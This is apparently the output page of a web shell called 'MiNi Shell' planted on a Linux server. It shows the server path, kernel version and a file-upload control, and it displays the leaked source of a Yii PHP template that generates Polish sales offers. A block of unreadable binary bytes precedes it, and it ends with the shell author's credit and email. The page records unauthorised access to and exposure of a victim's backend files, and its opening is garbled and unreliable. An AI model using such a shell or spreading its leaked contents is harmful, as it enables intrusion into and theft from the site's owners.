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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/views/offers/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/views/offers/show_offer_continuation_of_cooperation.php

<?php

use yii\helpers\Html;
use yii\helpers\HtmlPurifier;
use common\models\Services;

/* @var $this yii\web\View */
/* @var $model backend\models\Offers */
/* @var $companyData array */
/* @var $operatorData array */
/* @var $preview boolean */

$idsServices = [];
$proposals = [];

foreach(['actual', 'proposals'] as $fieldName) {
    $groups = $fieldName === 'actual' ? [$model->offer_data['actual']] : $model->offer_data['proposals'];
    foreach($groups as $group) {        
        if(intval($group['or_visible']) !== 1) {
            continue;
        }
        $proposal = $group;        
        $proposal['total_price_in_pricelist'] = 0;
        $proposal['total_amount'] = 0;
        if(!empty($group['services'])) {
            foreach($group['services'] as $service) {
                $proposal['total_price_in_pricelist'] += $service['price_in_pricelist'];
                $proposal['total_amount'] += $service['amount'];
                if(!empty($service['id_service']) && !in_array($service['id_service'], $idsServices)) {
                    $idsServices[] = $service['id_service'];
                }
            }
        }
        $proposal['total_discount_as_amount'] = abs($proposal['total_price_in_pricelist'] - $proposal['total_amount']);
        $proposal['total_discount_as_percentage'] = round((1 - ($proposal['total_amount'] / $proposal['total_price_in_pricelist'])) * 100, 2);
        
        $proposals[] = $proposal;
    }
}

$numberOfProposals = count($proposals);

$modelsServices = Services::find()->where(['id_service' => $idsServices])->indexBy('id_service')->orderBy('name')->all();

$portals = $model->portals->getValue();

$verticaData = Yii::$app->params['invoicingData'];

$colorborder = '#dddddd;';
$color1back = '#1a5085;'; $color1text = '#ffffff;';
$color2back = '#142d46;'; $color2text = '#ffc107;';
$height=1254;
?> 
<html>
    <head>
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
        <style type="text/css">
            @import url('https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700;800&display=swap');
            
            html {margin:0; padding:0;}
            body {
                margin:0;
                padding:0;
                font:14px Tahoma;
                line-height:17px;
                <?php if($preview): ?>
                    
                <?php endif; ?>
            }
            
            h1 {
                text-align: center;
            }
            
            div.proposals-container {
                display: flex;
                flex-wrap: wrap;
            }
            
            div.proposal {
                display: flex;
                flex-direction: column;
                width: <?= floor((1 / ($numberOfProposals > 0 ? $numberOfProposals : 1)) * 100) ?>%;
                border: 1px solid black;
                box-sizing: border-box;
            }
            
            div.proposal div {
                border-bottom: 1px solid black;
            }
            
            div.proposal div.summary-divider {
                flex: auto;
            }
            
            div.proposal div.summary {
                border: none;
            }
            
            /*
            div.proposals-details-cointaner table {
                border: 1px solid black;
                border-collapse: collapse;
            }
            
            div.proposals-details-cointaner table th, div.proposals-details-cointaner table td {
                border: 1px solid black;
                border-collapse: collapse;
            }
            */
            
            /*marcin*/
            body {
                font-family: 'Open Sans', Verdana, Arial, sans-serif;
                font-size: 15px;
                line-height: 1.5em;
                background: #efefef;
            }
            .page {
                page-break-before: always;
            }
            .page.withtop {
                background-image:url(<?= Yii::$app->params['backendBaseUrl'].'/images/'; ?>pdftop.jpg);
                background-size: 800px;
                background-position: 100% -5%;
                background-repeat: no-repeat;
            }
            .container {
                padding: 30px;
                position: relative;
                min-height: <?=$height+131;?>px;
                max-width: 950px;
                margin: auto;
            }
            .page.withtop .container {
                padding-top: 160px;
                min-height: <?=$height;?>px;
            }
            h1 {
               font-size: 2em;
               font-weight: 600;
               margin-bottom: 1em;
               text-align: left;
            }
            h2 {
               font-weight: 600;
               margin-bottom: 1em;
            }
            h3 {
                margin-top: 0;
                border-bottom: 5px solid #bbb;
                display: inline-block;
                margin-bottom: 12px;
                height: 32px;
            }
            h3 u {
                display: inline-block;
                padding-bottom: 10px;
                text-decoration: none;
                border-bottom: 5px solid <?=$color1back?>;
            }
            .lead {
                margin-bottom: 1em;
                border-left: 5px solid <?=$color1back?>;
                padding-left: 30px;
                padding-right: 150px;
            }
            .col {
                width: <?= floor((1 / ($numberOfProposals > 0 ? $numberOfProposals : 1)) * 100) ?>%;
                float: left;
            }
            .width33 {
                width: 30%;
                float: left;
                margin-right: 3%;
                margin-bottom: 10px;
            }
            .width66 {
                width: 60%;
                float: left;
                margin-right: 6%;
                margin-bottom: 10px;
            }    
            .half {
                width: 45%;
                float: left;
                margin-right: 5%;
                margin-bottom: 10px;
            }
            .bottom {
                position: absolute;
                bottom: 0;
                height: 350px;
                width: 100%;
            }
            .row {
                clear: both;
            }
            .table {
                font-size: 14px;
                width: 100%;
                margin-bottom: 20px;
            }
            .nomarginbottom {
                margin-bottom: 0;
            }
            .table th {
                background: <?=$color1back?>;
                color:  <?=$color1text?>;
                padding: 8px;
            }
            .table th.summary {
                background: <?=$color2back?>;
                color:  <?=$color2text?>;
            }
            .table td {
                border-top: 2px solid <?=$colorborder?>;
                padding: 8px;
                text-align: left;
            }
            .table.foot th {
                text-align: left;
            }
            
            .footer {
                display: block;
                position: absolute;
                bottom: 0;
                left: 0;
                width: 100%;
                height: 200px;
                background-image:url(<?= Yii::$app->params['backendBaseUrl'].'/images/'; ?>pdffooter.jpg);
                background-repeat: no-repeat;
                z-index: -1;
            }
            caption {
                text-align: left;
                font-size: 18px;
                padding-bottom: 10px;
            }
            <?php if(!$preview): ?>

            <?php else: ?>
            /** /
            .page {
                margin: 20px 0;
                box-shadow: #ddd 0 11px 0 0, #ddd 0 -11px 0 0;
            }
            .container {
                margin: auto;
                box-shadow: #ddd 500px 0 0 0, #ddd -500px 0 0 0;
            }
            /**/
            <?php endif; ?>
        </style>
    </head>
    <body>
        
    <div class="page withtop"><div class="container">
            
               
        <h1><?= Html::encode($model->name) ?></h1>
        
        <div class="width33">
            <h3><u>Oferta</u> dla:</h3><br>
            <?= Html::encode($companyData['name']) ?><br>
            ul.  <?= Html::encode($companyData['street']) ?> <?= Html::encode($companyData['building_number']) ?> 
            <?php if($companyData['apartment_number']): ?>/<?= Html::encode($companyData['apartment_number']) ?><?php endif; ?><br>
            <?= Html::encode($companyData['postcode']) ?>, <?= Html::encode($companyData['locality']) ?><br>
            <?php if($companyData['tax_id']): ?>NIP: <?= Html::encode($companyData['tax_id']) ?><?php endif; ?>
        </div>
        
        <div class="width66">
            <h3><u>Ofertę</u> przygotował(a):</h3><br>
            <?= Html::encode($operatorData['forename']) ?> <?= Html::encode($operatorData['surname']) ?><br>
            <?php if($operatorData['phone']): ?>Tel.: <?= Html::encode($operatorData['phone']) ?><br><?php endif; ?>
            <?php if($operatorData['email']): ?>E-mail: <?= Html::encode($operatorData['email']) ?><br><?php endif; ?>
            <?php if(!empty($portals)): ?>
                <?php foreach($portals as $portal): ?>
                    <img src="<?= Yii::$app->params['backendBaseUrl'].'/images/transparent/'.substr($portal,0,strpos($portal,'.')); ?>.png" height="40" style="margin-top:8px;">
                <?php endforeach; ?> 
            <?php endif; ?>
        </div>
        
        <div class="row"></div>
        
        <div class="offer-description-lead lead">
            <?= yii\helpers\HtmlPurifier::process($model->content) ?>
        </div>
        
        <div class="row">
        <?php foreach($proposals as $proposal): ?>
                <div class="col">
                    <table class="table nomarginbottom">
                        <tr><th><?= Html::encode($proposal['label']) ?></th></tr>
                    <?php foreach($proposal['services'] as $item): ?>
                        <tr><td><?= $item['name'] ?></td></tr>
                    <?php endforeach; ?>
                    </table> 
                </div>
        <?php endforeach; ?>  
        </div>
        <div class="row">
        <?php foreach($proposals as $proposal): ?>
                <div class="col">  
                    <table class="table foot">
                    <tr><th>
                        Cennik: <?= number_format($proposal['total_price_in_pricelist'], 2, ',', ' ') ?> zł netto<br>
                        Rabat: <?= $proposal['total_discount_as_percentage'] ?>% | <?= number_format($proposal['total_discount_as_amount'], 2, ',', ' ') ?> zł netto<br>
                    </th><tr>
                    <tr><th class="summary">
                        <strong>Do zapłaty: <?= number_format($proposal['total_amount'], 2, ',', ' ') ?> zł netto</strong>
                    </th><tr>
                    </table>
                </div>                
        <?php endforeach; ?>        
        </div>
        
        
        
        <div class="row"></div>
        
        <!--div class="proposals-container">            
            <?php foreach($proposals as $proposal): ?>
                <div class="proposal">
                    <div><?= Html::encode($proposal['label']) ?></div>
                    <?php foreach($proposal['services'] as $item): ?>
                        <div><?= $item['name'] ?></div>
                    <?php endforeach; ?>
                    <div class="summary-divider">&nbsp;</div>
                    <div class="summary">
                        Cennik: <?= $proposal['total_price_in_pricelist'] ?> zł netto<br>
                        Rabat: <?= $proposal['total_discount_as_percentage'] ?>% | <?= $proposal['total_discount_as_amount'] ?> zł netto<br>
                        <br>
                        <strong>Do zapłaty: <?= $proposal['total_amount'] ?> zł netto</strong>
                    </div>
                </div>                
            <?php endforeach; ?>
        </div-->   
        
    <div class="footer"></div></div></div>
    <?php if(intval($model->or_show_details) === 1): ?>
    <div class="page"><div class="container">
        
            <h2>Zestawienie szczegółowe:</h2>
            <div class="proposals-details-cointaner">
                <?php foreach($proposals as $key_1 => $proposal): ?>
                    <table class="table">
                        <caption><?= ($key_1 + 1).'. '.$proposal['label'] ?></caption>
                        <colgroup>
                            <col style="width:5%;">
                            <col style="width:35%;">
                            <col style="width:30%;">
                            <col style="width:10%;">
                            <col style="width:10%;">
                            <col style="width:10%;">
                        </colgroup>
                        <thead>
                            <tr>
                                <th>Lp.</th>
                                <th>Przedmiot</th>
                                <th>&nbsp;</th>
                                <th>Cennik</th>
                                <th>Rabat</th>
                                <th>Kwota</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php 
                                $totalPrice = 0; 
                                $totalDiscountAsAmount = 0; 
                                $totalAmount = 0;
                            ?>
                            <?php if(!empty($proposal['services'])): ?>
                                <?php foreach($proposal['services'] as $key_2 => $itemData): ?>
                                    <?php
                                        $totalPrice += $itemData['price_in_pricelist'];
                                        $totalDiscountAsAmount += ($itemData['amount'] - $itemData['price_in_pricelist']);
                                        $totalAmount += $itemData['amount'];
                                    ?>
                                    <tr>
                                        <td style="width:5%;"><?= ($key_2 + 1) ?></td>
                                        <td style="width:35%;"><?= Html::encode($itemData['name']) ?></td>
                                        <td style="width:30%;"><?= Html::encode($itemData['description']) ?></td>
                                        <td style="width:10%;text-align:right;"><?= number_format($itemData['price_in_pricelist'], 2, ',', ' ') ?></td>
                                        <td style="width:10%;text-align:center;"><?= round((1 - ($itemData['amount'] / $itemData['price_in_pricelist'])) * 100, 2) ?>%</td>
                                        <td style="width:10%;text-align:right;"><?= number_format($itemData['amount'], 2, ',', ' ') ?></td>
                                    </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>
                        </tbody>       
                        <tfoot> 
                            <tr>
                                <th colspan="3" style="text-align: right;"><strong>Łączny koszt</strong></th>
                                <th class="summary"><?= number_format($proposal['total_price_in_pricelist'], 2, ',', ' ') ?> zł netto</th>
                                <th class="summary"><?= number_format($proposal['total_discount_as_amount'], 2, ',', ' ') ?> zł netto udzielonego rabatu</th>
                                <th class="summary"><strong><?= number_format($proposal['total_amount'], 2, ',', ' ') ?> zł netto</strong></th>
                            </tr>
                        </tfoot>
                    </table>  
                <?php endforeach; ?>
            </div>
    
    <div class="footer"></div></div></div>
    <?php endif; ?>
        
    <?php if(intval($model->or_show_services_details) === 1 && !empty($modelsServices)): ?>
    <div class="page"><div class="container">
        
            <h2>Informacje o usługach:</h2>
            <div class="services-details-container">
                <?php foreach($modelsServices as $modelService): ?>
                    <h3><?= $modelService->name ?></h3>
                    <div>
                        <?= HtmlPurifier::process($modelService->description) ?>
                    </div>
                <?php endforeach; ?>
            </div>
    <div class="footer"></div></div></div>
    <?php endif; ?>
        
    <div class="page withtop"><div class="container">
            
        <?php if(!empty($model->summary)): ?>
            <div class="offer-description-summary lead">
                <?= yii\helpers\HtmlPurifier::process($model->summary) ?>
            </div>
        <?php endif; ?>
            
    <div class="bottom">        
        <div class="width33">
            <h3><u>Ofertę</u> przygotował(a):</h3><br>
            <?= Html::encode($operatorData['forename']) ?> <?= Html::encode($operatorData['surname']) ?><br>
            <?php if($operatorData['phone']): ?>Tel.: <?= Html::encode($operatorData['phone']) ?><br><?php endif; ?>
            <?php if($operatorData['email']): ?>E-mail: <?= Html::encode($operatorData['email']) ?><br><?php endif; ?>
        </div>

        <div class="half">
            <h3><u>Dane</u> grupy Vertica.pl</h3><br>
            <div class="half">
            <?= Html::encode($verticaData['name']) ?><br>
            ul. <?= Html::encode($verticaData['street']) ?> <?= Html::encode($verticaData['buildingNumber']) ?><br>
            <?= Html::encode($verticaData['postcode']) ?> <?= Html::encode($verticaData['locality']) ?><br>
            </div>
            <div class="half">
            Tel.: <?= Html::encode($verticaData['phone']) ?><br>
            Fax: <?= Html::encode($verticaData['fax']) ?><br>
            </div>
        </div>
    </div>  
            
    <div class="footer"></div></div></div>
 
    </body>
</html>

Creat By MiNi SheLL
Email: jattceo@gmail.com